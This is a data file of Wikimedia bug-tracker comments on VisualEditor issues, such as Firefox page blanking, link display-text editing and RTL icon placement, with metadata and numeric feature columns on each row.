+244447,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,*** Bug 52125 has been marked as a duplicate of this bug. ***,,,1375199198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244444,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,Looking into it now.,,,1374627567,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+244440,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Example from Bug 51169, which also has a screenshot.
+
+https://en.wikipedia.org/w/index.php?title=List_of_American_Dad!_characters&curid=2082680&diff=564675517&oldid=564302759",,,1374082150,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+244433,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,*** Bug 51169 has been marked as a duplicate of this bug. ***,,,1374079615,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244426,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,*** Bug 50519 has been marked as a duplicate of this bug. ***,,,1374079583,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+244417,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,"Yes.
+
+In RL debug mode I got this:
+
+--
+[11:13:55.789] TypeError: node.getParent(...) is null @ https://bits.wikimedia.org/static-1.22wmf8/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js:1265
+
+It only happens in Firefox.",,,1373444097,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+244410,VisualEditor: Blanking the page using Ctrl-A and Delete keys prevents further editing in Firefox,Do any JS errors appear in the console while you do this?,,,1373421989,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mip6kupgxcxydyy26dwa,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+52945,VisualEditor: Wikilink editing does not permit easy alteration of display text,"From a conversation with an English Wikipedia editor user Thryduulf, he says that when it comes to editing existing links (as opposed to adding new one): 
+***
+there are three things you could want to do:
+
+(1) change the link without changing the text (e.g. [[Mercury]] → [[Mercury (planet)|Mercury]])
+(2) change the text without changing the link (e.g. [[Mercury (element)]] → [[Mercury (element)|Mercury]])
+(3) change both (e.g. [[Mercury]] → [[Freddie Mercury]])
+
+At present it seems that the visual editor always assumes you want to do 1, and unless you delete the link completely there is no way of doing otherwise..., but for beginners I'd say that 3 should be the default. There needs to be some way to set the target of a link independently of what is displayed, and I'm not sure how best to do that but maybe an option on the link dialog called ""display as"" or something like that would be the way to go.
+
+***
+
+(Please see http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563383564#Changing_link_text_often_results_in_bad_code.2C_wrong_links_and_unmatched_.3C.2Fnowki.3Es
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52240
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50678
+https://bugzilla.wikimedia.org/show_bug.cgi?id=33091
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50452
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53973",High,80.0,1373295960,1403727795.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-uxowmsznm5ykbiez7tm2,task_description,resolved,True,c1,3,False,False,False,1,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+244311,VisualEditor: Wikilink editing does not permit easy alteration of display text,"(In reply to Krinkle from comment #8)
+> (removed a couple duplicate see-alsos)
+> 
+> Unless I misunderstood the bug, we haven't really made any progress on this
+> since last year.
+
+Yes, you have mis-understood comment 7:
+
+(In reply to James Forrester from comment #7)
+> (In reply to Elitre from comment #6)
+> > What Chris described at comment#3 is still happening:
+> > https://fr.wikipedia.org/w/index.
+> > php?title=St%C3%A9phane_Bern&diff=100014868&oldid=98819232 .
+> 
+> That's now in bug 62819, which we believe we have just fixed this week (to
+> go out on Thursday). Closing this. The suggestion that there be two edit
+> fields in the link inspector (one for anchor, the other for target) is
+> tracked in bug 53973.
+
+The remaining parts of this bug that aren't fixed are a duplicate of bug 53973.",,,1403727795,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,51,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+244305,VisualEditor: Wikilink editing does not permit easy alteration of display text,"(removed a couple duplicate see-alsos)
+
+Unless I misunderstood the bug, we haven't really made any progress on this since last year.
+
+(In reply to Maggie Dennis from comment #0)
+> there are three things you could want to do:
+> 
+> (1) change the link without changing the text (e.g. [[Mercury]] → [[Mercury
+> (planet)|Mercury]])
+> (2) change the text without changing the link (e.g. [[Mercury (element)]] →
+> [[Mercury (element)|Mercury]])
+> (3) change both (e.g. [[Mercury]] → [[Freddie Mercury]])
+> 
+> At present it seems that the visual editor always assumes you want to do 1,
+> and unless you delete the link completely there is no way of doing
+> otherwise..., but for beginners I'd say that 3 should be the default. There
+> needs to be some way to set the target of a link independently of what is
+> displayed, and I'm not sure how best to do that but maybe an option on the
+> link dialog called ""display as"" or something like that would be the way to
+> go.
+
+#2 and #3 are still not possible without deleting everything and re-creating a link. The only other way is to basically type the new label somewhere within the existing label, and then strip away the old characters. That's not something any user can be expected to do.
+
+E.g. to change label from ""Foo"" to ""Bar"" of external link http://example.org:
+
+1. Type ""Bar"" inside ""Foo""
+   - Foo
+   + FoBaro
+2. Manually remove ""Fo"" and ""o""
+
+The main things lacking for this bug is a way to change the link label.
+
+Or in other words, to select the contents of the label without its boundaries. Right now selecting ""Foo"" and typing over it removes the link...
+
+Bug 37939 is also related (would make it easier to select it), but is not required.
+
+Right now users would probably be forced into removing it and re-creating it, which hits bug 67086 / bug 67088.",,,1403715476,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,51,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+244299,VisualEditor: Wikilink editing does not permit easy alteration of display text,"(In reply to Elitre from comment #6)
+> What Chris described at comment#3 is still happening:
+> https://fr.wikipedia.org/w/index.
+> php?title=St%C3%A9phane_Bern&diff=100014868&oldid=98819232 .
+
+That's now in bug 62819, which we believe we have just fixed this week (to go out on Thursday). Closing this. The suggestion that there be two edit fields in the link inspector (one for anchor, the other for target) is tracked in bug 53973.",,,1395196799,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+244293,VisualEditor: Wikilink editing does not permit easy alteration of display text,"What Chris described at comment#3 is still happening:
+https://fr.wikipedia.org/w/index.php?title=St%C3%A9phane_Bern&diff=100014868&oldid=98819232 .",,,1391011992,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+244288,VisualEditor: Wikilink editing does not permit easy alteration of display text,"This is no longer true, since late July when editing of link anchors was made ""spanning""; closing.",,,1377807543,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0
+244283,VisualEditor: Wikilink editing does not permit easy alteration of display text,"This is causing content corruption on the live wiki.
+
+A user apparently trying to change a link from [[Blackpool Grand Theatre]] to [[Grand Theatre, Blackpool]] over two edits failed to do this:
+
+1. ""[[Blackpool Grand Theatre]] and"" → ""[[Blackpool Grand Theatre|Blackpool Grand Theatre]] and""
+2. ""[[Blackpool Grand Theatre|Blackpool Grand Theatre]]"" → ""G[[Blackpool Grand theater|rand Theater, Blackpool, ]]<nowiki/>and""
+
+https://en.wikipedia.org/w/index.php?title=Bernie_Nolan&diff=prev&oldid=564655203
+https://en.wikipedia.org/w/index.php?title=Bernie_Nolan&diff=next&oldid=564655203
+
+This should not be marked as an enhancement, changing links without mangling the text should be a core requirement of VE.",,,1374080214,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+244278,VisualEditor: Wikilink editing does not permit easy alteration of display text,"It should be. However my testing showed that this was not reliable and sometimes resulted in odd wikicode, e.g. [[Ecuador|<nowiki/>]][[Egypt|E]][[Egypt|gypt]] when changing ""Ecudor"" to ""Egypt"".
+
+See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&diff=563097916&oldid=563090562",,,1373870516,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+244273,VisualEditor: Wikilink editing does not permit easy alteration of display text,"""and unless you delete the link completely there is no way of doing otherwise...,""
+
+Isnt (2) and (3) possible by editing the text of the wikilink in the normal editor (i.e. not the link dialog), after selecting the link target?
+
+I must admit I was dumbfounded for a few minutes when trying to do (2), until it occurred to me that I can edit the text in the page.
+
+(3) is a bit harder, as the user must change the target from 'Mercury' to 'Freddie Mercury', then change the text to 'MFreddie Mercury', then remove the leading 'M'.",,,1373850602,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,2,,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+244269,VisualEditor: Wikilink editing does not permit easy alteration of display text,"I'm guessing it would be possible for the display as thing to also have suggestions, e.g. in most cases on en.wp if a title has parentheses then you don't want to display what is in them as it is disambiguation. For example if you chose the link [[Mercury (planet)]] the software could say ""Do you want to display this as ""Mercury""?",,,1373319371,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-uxowmsznm5ykbiez7tm2,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1
+52944,Extension tags are not nowiki escaped during serialization.,"Typing certain tag based code into VE such as:
+
+<math>1+2=3</math>
+<ref>Hi</ref>
+
+Bug reported by [[User:Dragons flight|Dragons flight]] at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Some_tags_are_not_properly_escaped
+
+Confirmed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373295960,1373331687.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-7rcg5rkjl6kyyl4elbfa,task_description,resolved,True,c1,3,True,False,True,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+244239,Extension tags are not nowiki escaped during serialization.,"Change 72536 merged by jenkins-bot:
+(Bug 50944) Fix stale regexp in wikitext escaping for ext tags
+
+https://gerrit.wikimedia.org/r/72536",,,1373307982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rcg5rkjl6kyyl4elbfa,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+244233,Extension tags are not nowiki escaped during serialization.,"Change 72536 had a related patch set uploaded by Subramanya Sastry:
+(Bug 50944) Fix stale regexp in wikitext escaping for ext tags
+
+https://gerrit.wikimedia.org/r/72536",,,1373301144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7rcg5rkjl6kyyl4elbfa,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+52913,VisualEditor: Selection highlight for templates/etc. mis-placed,"Copied from English Wikipedia, where it was added by TeamGale:
+""when I add the reference/template, if I want to edit it again it's not easy to choose it since the ""blue line"" that has to be on the text appears completely elsewhere and I can't click it. I took a screenshot""
+
+See:
+http://en.wikipedia.org/wiki/File:Misplaced_edit_for_a_template.jpg
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1373238780,1375298816.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ur6l6l2ezqzug2nab347,task_description,resolved,True,c1,3,False,False,True,0,,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+242402,VisualEditor: Selection highlight for templates/etc. mis-placed,I believe that this has now been fixed given the changes to how the CSS is cached.,,,1375298816,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ur6l6l2ezqzug2nab347,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+242399,VisualEditor: Selection highlight for templates/etc. mis-placed,"As noted in the duplicate bug 50991, this issue is somewhat elusive but definitely occurring for some users. Given the impact when it does, increasing severity and importance.",,,1373351277,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-ur6l6l2ezqzug2nab347,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+242395,VisualEditor: Selection highlight for templates/etc. mis-placed,*** Bug 50991 has been marked as a duplicate of this bug. ***,,,1373351191,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-ur6l6l2ezqzug2nab347,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52905,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"Replication steps:
+
+1. go here: https://he.wikipedia.org/wiki/%D7%A8%D7%97%D7%95%D7%91_%D7%99%D7%A8%D7%95%D7%A9%D7%9C%D7%99%D7%9D?veaction=edit
+
+2. Click the box on the left (a 'street' template in the hebrew wiki)
+
+3. The ""Transclusion"" icon appears on the right edge instead of the left. 
+
+Happens in Chrome and Firefox 22.0 under Windows.
+
+I suspect this is again a problem with the flipped position settings. I will take a look in the code.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373232900,1377734473.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-z5vtizhnd7zq6vobiqci,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+241996,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"Change 79165 merged by jenkins-bot:
+Fixing inspector popup position
+
+https://gerrit.wikimedia.org/r/79165",,,1377734475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+241992,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,*** Bug 53161 has been marked as a duplicate of this bug. ***,,,1377187521,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241986,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,I posted a fix which seems to work but requires some testing and review. Also testing in RTL seems to work.,,,1376519672,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+241979,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"Change 79165 had a related patch set uploaded by Mooeypoo:
+Fixing inspector popup position
+
+https://gerrit.wikimedia.org/r/79165",,,1376519264,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+241975,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"(In reply to comment #2)
+> This may be an issue with the way the icon appears in general, not just
+> specifically RTL. It seems the transclusion icon pops up on the side of the
+> page, assuming the position is always on the side -- instead of, perhaps,
+> appearing where the template box is located regardless of alignment.
+> 
+> I am not sure if this fix shouldn't be a deeper VE fix rather than the
+> language-directionality specific fix.
+
+Yes, I think a deeper fix might be appropriate - would you want to do that, or should I ask Rob?",,,1376517055,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+241970,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,"This may be an issue with the way the icon appears in general, not just specifically RTL. It seems the transclusion icon pops up on the side of the page, assuming the position is always on the side -- instead of, perhaps, appearing where the template box is located regardless of alignment.
+
+I am not sure if this fix shouldn't be a deeper VE fix rather than the language-directionality specific fix.",,,1376507435,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+241964,VisualEditor: Transclusion icon appears on the opposite side of the page in RTL wikis,confirmed on Arch linux with FF 22.,,,1373233082,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-z5vtizhnd7zq6vobiqci,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52902,VisualEditor: Add tooltip to byte count of save dialog explaining what it's for,"The character counter of the save dialog should have a tooltip/title explaining what the counter refers entails.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1373232060,1392253795.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-kt3assypvj632tuitmf6,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+241875,VisualEditor: Add tooltip to byte count of save dialog explaining what it's for,"Change 112318 had a related patch set uploaded by Alex Monk:
+Explain what the number on the edit summary screen means
+
